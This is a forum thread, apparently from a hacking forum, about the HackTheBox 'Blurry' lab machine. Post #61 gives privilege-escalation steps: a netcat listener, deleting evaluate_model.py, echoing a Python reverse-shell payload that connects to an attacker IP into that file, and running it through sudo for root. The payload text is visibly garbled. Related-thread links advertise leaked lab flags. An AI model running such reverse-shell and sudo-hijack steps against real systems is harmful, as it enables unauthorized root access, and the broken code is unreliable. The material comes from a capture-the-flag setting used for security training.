Temporary Advertisements:
Ad
Ad
Ad
HTB - Blurry
by black_panther - Saturday June 8, 2024 at 06:30 PM
#61
Simple Steps to Root :
On Attacker Machine:

Quote:nc -nvlp PORT

---------------------------------------------------------------------------------------------------------------------------------------------------------------------

On Target Machine:

1.  Remove the existing 'evaluate_model.py' within the /models directory:

Quote: jippity@blurry:/models$ rm evaluate_model.py


2. Now create a new file of the same name and import the python payload for reverse shell into it:

Quote: jippity@blurry:/models$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCconnect(("YOUR_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);imy.spawn("/bin/bash")' > evaluate_model.py

Exclamation Ensure you replace the IP and PORT of your own machine Exclamation

3. Execute the sudo command :

Quote: jippity@blurry:/models$ sudo /usr/bin/evaluate_model /models/*.pth


Enjoy Root access  Cool !!!!!
Reply
#62
Is anyone gonna post the flag? I could use some help with this box.
Reply
#63
(Jun 09, 2024, 04:20 PM)moha1313128 Wrote: I got this error
`[!] Unknown or unsupported file format for /models/evil.pth`

Because thiss file unsupported file format

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Replying With Hidden Content
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 110 14,188 1 hour ago
Last Post: Kazahk
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 85 11,204 1 hour ago
Last Post: Kazahk
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 165 34,696 11 hours ago
Last Post: groningen1981
  Finding solutions/flags/writeups for challenges meomeothantai 0 152 Today, 04:13 AM
Last Post: meomeothantai
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 625 115,359 Today, 03:26 AM
Last Post: kevin25hxl

Forum Jump:


 Users browsing this forum: 1 Guest(s)